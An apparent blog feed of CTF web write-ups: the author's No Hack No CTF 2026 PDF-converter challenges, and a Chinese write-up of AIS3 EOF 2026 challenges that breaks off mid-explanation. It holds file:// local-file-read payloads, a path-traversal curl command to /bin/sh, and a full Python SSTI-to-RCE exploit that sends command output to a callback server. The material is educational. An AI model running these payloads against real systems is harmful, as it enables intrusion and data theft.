solarfish：as I've written

No Hack No CTF 2026 : solarfish category official writeup

solarfish — Mon, 06 Jul 2026 00:00:00 GMT

#include

Description

#baby #web

Yet another PDF converter. easy enough, right?

http://txg.chal2.teagod.tech:8722/

> flag in source code.

explore

When we first open the website, we can see that it is a tool that takes a URL and converts the webpage into a PDF.

Let’s take a look at the website.

soar@universe-3 NHNC % curl -i http://txg.chal2.teagod.tech:8722/
HTTP/1.1 200 OK
X-Powered-By: Express
Accept-Ranges: bytes
Cache-Control: public, max-age=0
Last-Modified: Sat, 04 Jul 2026 03:25:09 GMT
ETag: W/"337-19f2b289a08"
Content-Type: text/html; charset=UTF-8
Content-Length: 823
Date: Sun, 05 Jul 2026 19:42:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

...

From the X-Powered-By: Express header, we can tell that the website is using the Express framework. Therefore, we can infer that the backend is likely written in Node.js.

Now, let’s try the PDF conversion feature.

Enter https://example.com and click Convert to PDF.

Nice! The page was successfully fetched and converted into a PDF.

Research

Now that we understand the basic functionality of the website, we can guess that a PDF converter like this may be vulnerable to SSRF. However, let’s go back to the challenge description. It says that the flag is in the source code. So, we can try to read local files using the file:// protocol.

Let’s try reading /etc/passwd.

It was blocked. But if we look carefully, the request was not even sent to the backend. The check is done on the frontend!

http://txg.chal2.teagod.tech:8722/main.js

...
form.addEventListener('submit', async event => {
	event.preventDefault();
	const body = new URLSearchParams(new FormData(form));
	const url = String(body.get('url') || '').trim();
	if (!/^https?:\/\//i.test(url)) {
		result.textContent = 'URL must start with http:// or https://';
		return;
	}

	if (captchaEnabled) {
		const token = grecaptcha.getResponse(captchaWidgetId);
		if (!token) {
			result.textContent = 'Please complete the captcha.';
			return;
		}
		body.set('g-recaptcha-response', token);
	}

	result.textContent = 'Converting...';
	const response = await fetch('/convert', {
		method: 'POST',
		body
	});
...

We can bypass this by using Burp Suite to intercept the request and modify the parameters, since the challenge uses reCAPTCHA. Alternatively, we can simply disable that JavaScript check in the browser.

Great! We now have arbitrary file read. At this point, we only need to read the source code.

However, after trying common paths such as /home/ctf, /app, /src, and so on, we find that none of them work. This is also part of the challenge. The actual webroot is located at: /app/{randomhex}.

To bypass this, we can use a symbolic link provided by Linux: /proc/self/cwd

This points to the current working directory of the running process.

Now we only need to figure out the source code filename. ~~At this point, you can just guess that it is server.js.~~

Just kidding. Remember that we previously found that the website is using the Express framework. In a typical Node.js project, npm packages are used, which means there is usually a package.json file.

The package.json file often contains a scripts field, which tells us how the application is started.

So, we can read: file:///proc/self/cwd/package.json

Exploit

There we go! Finally, we just need to read: file:///proc/self/cwd/server.js

And we can get the flag.

NHNC{Well_done!_stay_tuned_for_the_next_challenge.}

Farewell, #include

Description

#medium #web

more features this time...
but it’s absolutely not that easy.

Instancer : http://txg.chal2.teagod.tech:8988/

execute /readflag to know how to get the flag.

any fuzzing tools or brute forcing of urls are not allowed.

> HINT : 
You may have already noticed that you can obtain some useful information using the method from the previous challenge.

For this challenge, you can reuse that approach to gather information. It is recommended that you analyze everything locally first and confirm that you can achieve RCE before u restart again the instancer.

Revenge of the #include Challenge

explore

At first glance, it doesn’t look much different from the previous challenge it's have same framework, same interface. The only difference is that this time, you need to get RCE.

The main change is the addition of two new features: PDF Converter without CSS and Markdown to PDF.

The HINT in the challenge description suggests that you can use the vulnerability from the previous challenge to leak the source code or gather some useful information. To save some time, I’ll just provide the files we’ll need here.

server.js

import crypto from 'node:crypto';
import fs from 'node:fs/promises';
import path from 'node:path';
import { spawn } from 'node:child_process';
import { createRequire as create_require } from 'node:module';
import { fileURLToPath as file_url_to_path } from 'node:url';

import express from 'express';
import { convert as convert_markdown } from 'mdpdf';

const __dirname = path.dirname(file_url_to_path(import.meta.url));
const require = create_require(import.meta.url);
const html_pdf_node = require('html-pdf-node');
const app = express();
const port = Number(process.env.PORT || 3001);

const percollate_cli = '/app/lib/percollate/cli.js';
const work_dir = '/tmp/work';
const output_dir = '/tmp/output';

app.use(express.urlencoded({ extended: false, limit: '256kb' }));
app.use(express.json({ limit: '256kb' }));
app.use(express.static(path.join(__dirname, 'public')));

function getallurl(input) {
	return String(input || '')
		.trim()
		.split(/\s+/)
		.filter(Boolean);
}

function create_job(converter, details = {}) {
	const id = crypto.randomUUID();
	const output_path = path.join(output_dir, `${id}.pdf`);
	return {
		id,
		converter,
		output_path,
		...details
	};
}

function run_percollate(user_input) {
	return new Promise(resolve => {
		const job = create_job('lite-pdf');
		const urls = getallurl(user_input);
		const args = [
			'pdf',
			'--no-sandbox',
			'--output',
			path.resolve(job.output_path),
			...urls
		];

		const child = spawn(process.execPath, [percollate_cli, ...args], {
			cwd: work_dir,
			stdio: ['ignore', 'ignore', 'ignore'],
			env: {
				...process.env,
				PUPPETEER_EXECUTABLE_PATH:
					process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium'
			}
		});

		const timer = setTimeout(() => {
			child.kill('SIGKILL');
		}, 150000);

		child.on('close', code => {
			clearTimeout(timer);
			resolve({
				id: job.id,
				code,
				output_path: job.output_path,
				converter: job.converter
			});
		});
	});
}

async function run_html_pdf_node(user_input) {
	const [url] = getallurl(user_input);
	const job = create_job('standard-pdf', {
		url
	});
	try {
		const pdf = await with_timeout(
			html_pdf_node.generatePdf(
				{ url: job.url },
				{
					format: 'A4',
					path: job.output_path,
					printBackground: true,
					timeout: 80000,
					args: [
						'--no-sandbox',
						'--disable-setuid-sandbox',
						'--disable-dev-shm-usage',
						'--disable-gpu',
						'--no-zygote',
						'--disable-background-networking',
						'--disable-default-apps',
						'--disable-extensions',
						'--disable-sync',
						'--metrics-recording-only',
						'--mute-audio',
						'--no-first-run'
					]
				}
			),
			90000,
			'html-pdf-node conversion timeout'
		);
		try {
			await fs.access(job.output_path);
		} catch {
			if (pdf) {
				await fs.writeFile(job.output_path, pdf);
			}
		}
		return {
			id: job.id,
			code: 0,
			output_path: job.output_path,
			converter: job.converter
		};
	} catch (error) {
		console.error('standard-pdf conversion failed:', error);
		return {
			id: job.id,
			code: 1,
			output_path: job.output_path,
			converter: job.converter
		};
	}
}

async function run_md_pdf(user_input) {
	const [url] = getallurl(user_input);
	const job = create_job('markdown-pdf', {
		url
	});
	const source_path = path.join(output_dir, `${job.id}.md`);
	try {
		const markdown = await read_text_input(job.url);
		await fs.writeFile(source_path, markdown);
		await with_timeout(
			convert_markdown({
				source: source_path,
				destination: job.output_path,
				assetDir: path.dirname(source_path),
				ghStyle: true,
				defaultStyle: true,
				noEmoji: true,
				noHighlight: true,
				waitUntil: 'networkidle0',
				pdf: {
					format: 'A4',
					timeout: 30000
				}
			}),
			45000,
			'mdpdf conversion timeout'
		);
		return {
			id: job.id,
			code: 0,
			output_path: job.output_path,
			converter: job.converter
		};
	} catch (error) {
		console.error('markdown-pdf conversion failed:', error);
		return {
			id: job.id,
			code: 1,
			output_path: job.output_path,
			converter: job.converter
		};
	} finally {
		await fs.unlink(source_path).catch(() => {});
	}
}

function with_timeout(promise, ms, message) {
	let timer;
	return Promise.race([
		promise,
		new Promise((_, reject) => {
			timer = setTimeout(() => reject(new Error(message)), ms);
		})
	]).finally(() => clearTimeout(timer));
}

async function read_text_input(input) {
	const url = parse_url(input);
	if (url?.protocol === 'file:') {
		return fs.readFile(file_url_to_path(url), 'utf8');
	}
	if (url && (url.protocol === 'http:' || url.protocol === 'https:')) {
		const response = await fetch(url.href);
		if (!response.ok) {
			throw new Error(`fetch failed: ${response.status}`);
		}
		return response.text();
	}
	return fs.readFile(input, 'utf8');
}

function parse_url(input) {
	try {
		return new URL(input);
	} catch {
		return null;
	}
}

async function rejects_directory_listing(input) {
	for (const item of getallurl(input)) {
		let url;
		try {
			url = new URL(item);
		} catch {
			continue;
		}

		if (url.protocol !== 'file:') {
			continue;
		}

		try {
			if ((await fs.stat(file_url_to_path(url))).isDirectory()) {
				return true;
			}
		} catch {
			// ignore errors, treat as not a directory :)
		}
	}

	return false;
}

app.post('/convert', async (req, res) => {
	const urls = req.body.url || '';
	const converter = String(req.body.converter || 'standard-pdf');
	if (!String(urls).trim()) {
		res.status(400).type('text/plain').send('missing url\n');
		return;
	}
	if (await rejects_directory_listing(urls)) {
		res.status(500).type('text/plain').send('conversion failed\n');
		return;
	}

	let result;
	if (converter === 'standard-pdf') {
		result = await run_html_pdf_node(urls);
	} else if (converter === 'lite-pdf') {
		result = await run_percollate(urls);
	} else if (converter === 'markdown-pdf') {
		result = await run_md_pdf(urls);
	} else {
		res.status(400).type('text/plain').send('unknown converter\n');
		return;
	}

	if (result.code !== 0) {
		res.status(500)
			.type('text/plain')
			.send('conversion failed\n');
		return;
	}

	try {
		const pdf = await fs.readFile(result.output_path);
		res.setHeader('Content-Type', 'application/pdf');
		res.setHeader(
			'Content-Disposition',
			`attachment; filename="${result.id}.pdf"`
		);
		res.send(pdf);
	} catch {
		res.status(500)
			.type('text/plain')
			.send('conversion failed\n');
	}
});

app.listen(port, '0.0.0.0', () => {
	console.log(`challenge listening on ${port}`);
});

package.json

{
  "name": "farewall include",
  "version": "1.0.0",
  "type": "module",
  "private": true,
  "scripts": {
    "start": "node server.js"
  },
	"dependencies": {
		"express": "^4.19.2",
		"html-pdf-node": "file:../lib/html-pdf-node",
		"mdpdf": "file:../lib/mdpdf"
	}
}

From server.js, we can also identify the libraries used for the conversion:

PDF Converter = html-pdf-node
PDF Converter without CSS = percollate
Markdown to PDF = mdpdf

Research

First, there is an obvious argument injection in run_percollate within server.js.

function run_percollate(user_input) {
	return new Promise(resolve => {
		const job = create_job('lite-pdf');
		const urls = getallurl(user_input);
		const args = [
			'pdf',
			'--no-sandbox',
			'--output',
			path.resolve(job.output_path),
			...urls
		];

		const child = spawn(process.execPath, [percollate_cli, ...args], {
			cwd: work_dir,
			stdio: ['ignore', 'ignore', 'ignore'],
			env: {
				...process.env,
				PUPPETEER_EXECUTABLE_PATH:
					process.env.PUPPETEER_EXECUTABLE_PATH || '/usr/bin/chromium'
			}
		});

		const timer = setTimeout(() => {
			child.kill('SIGKILL');
		}, 150000);

		child.on('close', code => {
			clearTimeout(timer);
			resolve({
				id: job.id,
				code,
				output_path: job.output_path,
				converter: job.converter
			});
		});
	});
}

To support converting multiple URLs at once, the developer directly passes user_input into the urls argument and forgets to use -- to terminate option parsing. As a result, we can inject arbitrary command-line arguments.

But here comes the question: what should we inject?!

research on the percollate package

percollate's repository

From its README, we can see that: Percollate is a command-line tool that turns web pages into beautifully formatted PDF, EPUB, HTML or Markdown files.

Further down in the README, it provides even more options for users. After taking a closer look, we can saw something interesting!

Ummm... Nunjucks! It’s a template engine!

If we trace through Percollate’s source code a little, we can see that once the --template option is used, Percollate directly passes the file we specify to Nunjucks for rendering!

const html = nunjucks.renderString(
		await readFile(options.template || DEFAULT_TEMPLATE, 'utf8'),
		{
			filetype: 'html',
			title:
				options.title ||
				(items.length === 1 ? items[0].title : 'Untitled'),
			date: new Date(),
			items,
			style,
			options: {
				use_toc,
				use_cover:
					options.cover ||
					(options.cover !== false &&
						(options.title || items.length > 1))
			}
		}
	);

This looks super dangerous! The official documentation for nunjucks.renderString also explicitly warns against rendering user-controlled content.

So, we can actually inject a template and turn this into SSTI.

I won’t go into the full RCE chain here, since there are already plenty of writeups and research on Nunjucks SSTI online.

Personally, I used items.constructor.constructor to get access to the Function constructor, which then allowed me to execute arbitrary js.

But there’s still one problem...

How are we supposed to write a file?

research on the mdpdf package

mdpdf's repository

I’m curious if you’ve ever used this library before?!

It’s actually really convenient. I use it all the time, whether I’m generating reports, ~~or when HackMD’s free PDF export quota runs out~~. But I’m not sure if you’ve noticed this before: when you convert Markdown into a PDF, a temporary HTML file is usually generated first, and only then is the final PDF produced.

You can still think of it as a rendering pipeline. Markdown itself is just a plaintext markup syntax, so it first has to be converted into structured HTML. During this stage, things like layout, styling, and LaTeX rendering are also handled before the final PDF is generated.

So, we can reasonably assume that mdpdf probably has a similar feature as well. Let’s dig into the source code and see.

async function createPdf(html: string, options: MdPdfOptions): Promise<string> {
  const tempHtmlPath = resolve(dirname(options.destination), '_temp.html');

  let browser: Browser | null = null; // Initialize browser to null

  try {
    await writeFile(tempHtmlPath, html);

    browser = await launch({
      headless: true, // Use boolean instead of 'new' string
      args: ['--no-sandbox', '--disable-setuid-sandbox'],
    });
    const page = (await browser.pages())[0];
    await page.goto('file:' + tempHtmlPath, {
      waitUntil: options.waitUntil ?? 'networkidle0',
    });

    // have to bypass by arguments
    // custom title support
    const targetTitle = options.pdf?.title
      ? options.pdf.title
      : parsePath(options.source).name;
    await page.evaluate((targetTitle) => {
      // overwrite title to fix https://github.com/elliotblackburn/mdpdf/issues/211
      document.title = targetTitle;
    }, targetTitle);

    const puppetOptions = getOptions(options);
    await page.pdf(puppetOptions);

    await browser.close();
    browser = null; // Indicate browser is closed

    if (options.debug) {
      copyFileSync(tempHtmlPath, options.debug);
    }

    return options.destination;
  } catch (error) {
    // Ensure browser is closed even if an error occurs
    if (browser) {
      await browser.close();
    }
    // Re-throw the error to be handled by the caller
    throw error;
  } finally {
    // Clean up temp file in case of error or success
    try {
      unlinkSync(tempHtmlPath);
    } catch (e) {
      // Ignore errors if the file doesn't exist or couldn't be deleted
    }
  }
}

Did you catch the important part?!

const tempHtmlPath = resolve(dirname(options.destination), '_temp.html');

This means that an _temp.html file will be created inside the working directory we specify.

At this point, things become much easier. We only need to host a malicious .md file on our own server. At the beginning of the file, we place our SSTI payload, and then append a request that causes mdpdf to spend some time waiting during the conversion process.

After that, we trigger another argument injection and set the --template option to /tmp/output/_temp.html.

At this point, we can fully control the contents of the HTML file and ultimately achieve RCE.

exploit

#!/usr/bin/env python3
import argparse
import http.server
import json
import queue
import socketserver
import threading
import urllib.parse
import urllib.request


def qjs(s):
    return json.dumps(s)


def qnjk(s):
    return (
        s.replace("\\", "\\\\")
         .replace("'", "\\'")
         .replace("\n", "\\n")
    )


def make_ssti(cmd, cb):
    js = (
        "const cp=process.getBuiltinModule('child_process');"
        "const http=process.getBuiltinModule('http');"
        "let r='';"
        "try{"
        f"r=cp.execSync({qjs(cmd)},{{encoding:'utf8',stdio:['ignore','pipe','pipe']}});"
        "}catch(e){"
        "if(e.stdout)r+=e.stdout.toString();"
        "if(e.stderr)r+=e.stderr.toString();"
        "r+='\\n[exit '+String(e.status ?? 'unknown')+']\\n';"
        "}"
        f"http.get({qjs(cb + '?d=')}+encodeURIComponent(r)).on('error',()=>{{}});"
        "return r;"
    )

    return "{{ items.constructor.constructor('" + qnjk(js) + "')() }}"


def convert(base, converter, url):
    data = urllib.parse.urlencode({
        "converter": converter,
        "url": url,
    }).encode()

    req = urllib.request.Request(
        urllib.parse.urljoin(base, "/convert"),
        data=data,
        headers={"Content-Type": "application/x-www-form-urlencoded"},
        method="POST",
    )
    with urllib.request.urlopen(req, timeout=90) as r:
        return r.read()

    


def handler_for(payload, leaks, slow_hit, release_slow):
    class Handler(http.server.BaseHTTPRequestHandler):
        def log_message(self, *args):
            pass

        def do_GET(self):
            u = urllib.parse.urlparse(self.path)

            if u.path == "/payload.md":
                host = self.headers.get("Host")
                md = f"""# Quarterly PDF Report

<div>{payload}</div>

<img src="http://{host}/slow">
"""
                body = md.encode()

                self.send_response(200)
                self.send_header("Content-Type", "text/markdown; charset=utf-8")
                self.send_header("Content-Length", str(len(body)))
                self.end_headers()
                self.wfile.write(body)
                return

            if u.path == "/slow":
                slow_hit.set()

                release_slow.wait(30)

                gif = (
                    b"GIF89a\x01\x00\x01\x00\x80\x00\x00"
                    b"\x00\x00\x00\xff\xff\xff,\x00\x00"
                    b"\x00\x00\x01\x00\x01\x00\x00\x02\x02D\x01\x00;"
                )

                self.send_response(200)
                self.send_header("Content-Type", "image/gif")
                self.send_header("Content-Length", str(len(gif)))
                self.end_headers()
                self.wfile.write(gif)
                return

            if u.path == "/leak":
                qs = urllib.parse.parse_qs(u.query)
                leaks.put(qs.get("d", [""])[0])
                self.send_response(204)
                self.end_headers()
                return

            self.send_response(404)
            self.end_headers()

    return Handler


class ThreadedServer(socketserver.ThreadingTCPServer):
    allow_reuse_address = True
    daemon_threads = True


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument("-t", "--target", default="http://127.0.0.1:5005")
    ap.add_argument("-b", "--bind", default="0.0.0.0")
    ap.add_argument("-p", "--port", type=int, default=31001)
    ap.add_argument("--host", default="0.0.0.0")
    ap.add_argument("-c", "--cmd", default="id")
    args = ap.parse_args()

    base = args.target.rstrip("/")
    cb = f"http://{args.host}:{args.port}"

    leaks = queue.Queue()
    slow_hit = threading.Event()
    release_slow = threading.Event()

    payload = make_ssti(args.cmd, cb + "/leak")
    handler = handler_for(payload, leaks, slow_hit, release_slow)

    with ThreadedServer((args.bind, args.port), handler) as srv:
        threading.Thread(target=srv.serve_forever, daemon=True).start()

        print(f"[*] serving payload at {cb}/payload.md")

        mdpdf_err = queue.Queue()

        def hold_mdpdf():
            try:
                convert(base, "markdown-pdf", cb + "/payload.md")
            except Exception as e:
                mdpdf_err.put(e)

        t = threading.Thread(target=hold_mdpdf, daemon=True)
        t.start()

        if not slow_hit.wait(15):
            release_slow.set()

            if not mdpdf_err.empty():
                raise mdpdf_err.get()

            raise RuntimeError("mdpdf never loaded /slow")

        tpl = "/tmp/output/_temp.html"
        index = "https://solarfish.me/"

        print(f"[*] reusing template: {tpl}")

        convert(
            base,
            "lite-pdf",
            f"--no-hyphenate --template={tpl} {index}",
        )

        release_slow.set()
        t.join(timeout=10)
        out = leaks.get(timeout=10)
        print("[+] output:")
        print(out, end="" if out.endswith("\n") else "\n")


if __name__ == "__main__":
    main()

Finally, we just need to host it on our own server, run the exploit, and get the FLAG!

NHNC{Farewell, my friend, promise me you won't find another 0days next time.}

After All

This was my first time creating a challenge for No Hack No CTF, and probably also the first time I’ve ever made a challenge for this many people to play!

So first of all, I’d like to apologize! I’m still pretty inexperienced with a lot of things. For example, the challenge was originally supposed to have reCAPTCHA enabled. However, since the first challenge was blackbox and required some time for testing and exploration, I decided not to add it at first for the sake of player convenience.

Unfortunately, even though we had already announced that the challenge did not require any fuzzing, some players still used scanner tools. This caused the challenge to spawn a huge of Chromium instances, and the Docker container kept exploding. In the end, I had to add reCAPTCHA to #include challenge.

Putting that aside, the core idea behind these challenges came from some research I did last year. I wanted to turn it into a more complete exploitation experience and definitely ~~not because I didn’t have enough challenge ideas~~.

In an era where AI is everywhere, using AI during CTFs is pretty much inevitable. But at the same time, I still wanted players to actually learn something from the challenge. That’s why the first challenge was designed as a blackbox challenge.

Once you obtain the source code, you can start working together with AI: analyze the code together, search for vulnerabilities together, and finally write the exploit together.

I really like that kind of collaborative feeling, hehe.

Anyway~ hope everyone had fun in this CTF :>

This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: https://solarfish.me/blog/nhnc2026/

AIS3 EOF QUAL 2026（Web）

solarfish — Mon, 29 Dec 2025 00:00:00 GMT

Web

Bun.PHP

主要的程式碼邏輯很短，簡單來說就是他會接收你想用 cgi run 起來的檔案，然後去把它跑起來。

import { $ } from "bun";
import { resolve } from "node:path";

const server = Bun.serve({
    host: "0.0.0.0",
    port: 1337,
    routes: {
        "/": async req => {
            return new Response(null, {
                status: 302,
                headers: { "Location": "/cgi-bin/index.php" },
            });
        },

        "/cgi-bin/:filename": async req => {
            const filename = req.params.filename;
            if (!filename.endsWith(".php")) {
                return new Response(`404\n`, {
                    status: 404,
                    headers: { "Content-Type": "text/plain" },
                });
            }

            const scriptPath = resolve("cgi-bin/" + filename);
            const body = await req.blob();
            const shell = $`${scriptPath} < ${body}`
                .env({
                    REQUEST_METHOD: req.method,
                    QUERY_STRING: new URL(req.url).searchParams.toString(),
                    CONTENT_TYPE: req.headers.get("content-type") ?? "",
                    CONTENT_LENGTH: body ? String(body.size) : "0",
                    SCRIPT_FILENAME: scriptPath,
                    GATEWAY_INTERFACE: "CGI/1.1",
                    SERVER_PROTOCOL: "HTTP/1.1",
                    SERVER_SOFTWARE: "bun-php-server/0.1",
                    REDIRECT_STATUS: "200",
                })
                .nothrow();

            // PHP-CGI outputs headers + body separated by \r\n\r\n
            const output = await shell.text();
            const [rawHeaders, ...rest] = output.split("\r\n\r\n");
            const headers = new Headers();
            for (const line of rawHeaders.split("\r\n")) {
                const [k, v] = line.split(/:\s*/, 2);
                if (k && v) headers.set(k, v);
            }

            const responseBody = rest.join("\r\n\r\n");
            return new Response(responseBody, { headers });
        },
    }
});

console.log(`listening on http://localhost:${server.port}`);

filename 是我們可以控制的，可以看到這邊很明顯有個 path traversal

const scriptPath = resolve("cgi-bin/" + filename);

也就是說我們其實可以任意控制 scriptPath 但是有一個白名單檢查，他會限制你的檔案只能是 .php 結尾，但這邊只要用 null byte 就能繞過了。

"/cgi-bin/:filename": async req => {
            const filename = req.params.filename;
            if (!filename.endsWith(".php")) {
                return new Response(`404\n`, {
                    status: 404,
                    headers: { "Content-Type": "text/plain" },
});}

然後下兩行

const body = await req.blob();
const shell = $`${scriptPath} < ${body}`

會把你的 body 塞到 scriptPath，所以我們其實就可以 ../ 到 /bin/sh 去執行我們的指令，最後組合起來就變這樣（塞個 \r\n\r\n 讓他從 body 打回來）

exploit :

curl -v --data-binary $'printf "\\r\\n\\r\\n"; /readflag give me the flag' "https://079a02d40b765778.chal.eof.133773.xyz:20001/cgi-bin/%2E%2E%2F%2E%2E%2F%2E%2E%2F%2E%2E%2Fbin%2Fsh%00.php"

EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}

EOF{1_tUrn3d_Bun.PHP_Int0_4_r34l1ty}

CookieMonster Viewer

是個黑箱題！先隨便戳戳看～當我亂給 /api/templates/meow 的時候會報錯誤訊息

Template not found: [WinError 2] The system cannot find the file specified: 'C:\\supersecureyouwillneverguessed\\templates/meow.html'

但目前看起來沒什麼用？但我們這邊還可以知道他是一台 windows！然後來看看 /api/preview 的功能

POST /api/preview HTTP/1.1
Host: chals2.eof.ais3.org:20918
Content-Length: 63
Accept-Language: zh-TW,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://chals2.eof.ais3.org:20918
Referer: http://chals2.eof.ais3.org:20918/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"url":"http://localhost/api/templates/lake","username":"awda"}

有個 url 參數？看起來很 ssrf！用 file:// 協議讀個 win.ini 看看

{"url":"file:///C:/Windows/win.ini","username":"awda"}

HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:48:31 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 127
Connection: close

; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1
[Ports]
COM1:=9600,n,8,1
COM2:=9600,n,8,1

好耶！那我們可以根據剛剛的路徑來讀原始碼看看！有通到找到 app.py 跟 dockerfile

app.py

{"url":"file:///C:/supersecureyouwillneverguessed/app.py","username":"awda"}

HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:50:35 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1263
Connection: close

from flask import Flask, request, send_from_directory, send_file, render_template_string
import subprocess
import os

app = Flask(__name__, static_folder='static')

def get_os():
    import ctypes.wintypes
    v = ctypes.windll.kernel32.GetVersion()
    return f"Windows {v & 0xFF}.{(v >> 8) & 0xFF}"

class User:
    def __init__(self, name):
        self.name = name
    def __str__(self):
        return self.name

@app.route('/')
def index():
    with open('static/index.html', encoding='utf-8') as f:
        return render_template_string(f.read(), os_info=get_os())

@app.route('/api/preview', methods=['POST'])
def preview():
    data = request.get_json()
    url = data.get('url', '')
    user = User(data.get('username', 'Guest'))
    
    result = subprocess.run([r'.\lib\curl.exe', url], capture_output=True, text=True, encoding='utf-8', errors='replace')
    content = result.stdout or result.stderr
    
    try:
        return content.format(user=user)
    except:
        return content

@app.route('/api/templates/<name>')
def get_template(name):
    try:
        return send_file(f'templates/{name}.html')
    except Exception as e:
        return f'Template not found: {e}', 404


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

dockerfile

{"url":"file:///C:/supersecureyouwillneverguessed/dockerfile","username":"awda"}

HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:51:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 811
Connection: close

FROM python:3.12-windowsservercore-ltsc2022

WORKDIR /supersecureyouwillneverguessed

COPY requirements.txt .
RUN python -m pip install --no-cache-dir -r requirements.txt

COPY . .

# First move the flag (while we have write access)
SHELL ["powershell", "-Command"]
RUN $rand = -join ((65..90) + (97..122) | Get-Random -Count 16 | ForEach-Object {[char]$_}); Move-Item C:\supersecureyouwillneverguessed\flag.txt C:\flag-$rand.txt; attrib +R (Get-Item C:\flag-*.txt).FullName

# Then lock down permissions
SHELL ["cmd", "/S", "/C"]
RUN net user /add appuser && \
    attrib +R C:\supersecureyouwillneverguessed\*.* /S && \
    icacls C:\supersecureyouwillneverguessed /grant appuser:(OI)(CI)(RX) /T && \
    icacls C:\supersecureyouwillneverguessed /deny appuser:(WD,AD,DC)

USER appuser
CMD ["python", "app.py"]

我們基本上可以得知要 rce 才能取得 flag 了！然後 python 裏又有一個 format string 的漏洞在 content.format(user=user)，另外我又想到這台竟然是 windows 應該會有 worstfit 的問題！接著... 接著我就不會串了，雖然賽中有想到這兩個漏洞但我沒有想到要怎麼把它們結合在一起，最後是去讀 C:\ 的 index allocation 然後 flag 檔名就跑出來了，超酷！

{"url":"file:///C:/:$I30:$INDEX_ALLOCATION","username":"awda"}

HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:55:56 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 247
Connection: close

Boot
bootmgr
BOOTNXT
Documents and Settings
DumpStack.log.tmp
flag-sNfLDScBvoFbxYMQ.txt
inetpub
License.txt
Program Files
Program Files (x86)
ProgramData
Python
supersecureyouwillneverguessed
System Volume Information
Users
WcSandboxState
Windows

最後去讀 flag

POST /api/preview HTTP/1.1
Host: chals2.eof.ais3.org:20918
Content-Length: 64
Accept-Language: zh-TW,zh;q=0.9
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://chals2.eof.ais3.org:20918
Referer: http://chals2.eof.ais3.org:20918/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

{"url":"file:///C:/flag-sNfLDScBvoFbxYMQ.txt","username":"awda"}

HTTP/1.1 200 OK
Server: Werkzeug/3.1.4 Python/3.12.10
Date: Wed, 24 Dec 2025 13:56:30 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 47
Connection: close

EOF{w0rst_f1t_4rg_1nj3ct10n_w/_format_string!}

我會想辦法補預期解回來的 ><

EOF{w0rst_f1t_4rg_1nj3ct10n_w/_format_string!}

LinkoReco

又雙叒叕是黑箱題（灰箱） ~~於是我決定等提示出來才解這題~~

Hint1.

Kurumi 手滑了不小心掉出了這份使用指南

1. Token 只有在使用者從 local 造訪的時候會顯示
2. 這個服務沒有正確 Token 傳入的時候不會回顯內容，只會告訴你 status code，所以有 token 會更方便使用系統
3. 眼睛睜大一點，你會發現伺服器其實有在記得一些東西，而背景圖片本來應該要被存到的...但這個功能被 ai 寫壞了，/static 的靜態檔案應該要被存到的，但是他們直接走 nginx 跑掉了
4. 在她做滲透測試的時候沒有也不需要 fuzzing / 利用 SSRF 去戳 php fpm service

Hint2.

map $request_uri $is_static {
    default 0;
    "~*^/static/.*\.(svg|png|jpg|jpeg|css)$" 1;
}

然後會有一個 web 頁面讓你去戳其他的網站，但沒有給 token 的話是只看得到 status code 的。然後根據提示一，我們可以知道 token 要從 local 訪問才會顯示。 ~~然後提示二直接把打的方法告訴你了~~，可以看到 nginx 會對 /static 開頭以及特定附檔名進行快取，這時候我們拿一個 payload 讓這個 web 頁面去戳，然後我們再趕快去一次同樣的網址就可以看到 token 了！

在 web 送

http://web/static/%2e%2e%2findex.php/meow.css

terminal 趕快去訪問一次

curl -v http://chals1.eof.ais3.org:19080/static/%2e%2e%2findex.php/meow.css -path-as-is

...
    textarea {min-height:100px; resize:vertical;}
    .col {flex:1 1 300px; min-width:220px;}
    .actions {text-align:right; margin-top:8px;}
    button {background:#1f8cff;color:white;padding:10px 16px;border-radius:8px;border:0;cursor:pointer;}
    .small-muted {font-size:12px;color:#666;margin-top:6px}
    .logo {max-width:120px; display:block; margin-bottom:12px;}
  </style>
</head>
<body>
  <div class="container">
    <h1>接続テスト</h1>
    <div class="subtitle">あなたのトークン: 200_OK_FROM_WA1NU7</div> <!--- full access token display, local only --->
    <form method="post">
      <div class="row">
        <div class="col">
          <label for="url">URL</label>
          <input type="text" id="url" name="url" placeholder="https://example.com">
        </div>
      </div>
      <div class="row">
        <div class="col">
...

拿到 token 後我們去 fetch 的東西就會有回傳文字了！題目其實還有給一個 docker-compose.yml

version: '3'
services:
  web:
    image: nginx:latest
    ports:
      - "19080:80"
    volumes:
      - ./conf/default.conf:/etc/nginx/conf.d/default.conf
      - ./src:/var/www/html
    depends_on:
      - php

  php:
    image: php:7.4-fpm
    volumes:
      - ./src:/var/www/html
      - ./flag.txt:/etc/REDACTED_FILENAME.txt # yes, secret.

# static files should be well handled, but seems like only fpm serves it?

可以得知 flag 是被掛載在 /etc 底下，但我們不知道檔名。這時候一樣可以用 file:// 協議去讀一個檔案 /proc/self/mounts 他會記錄掛載的一些資訊。

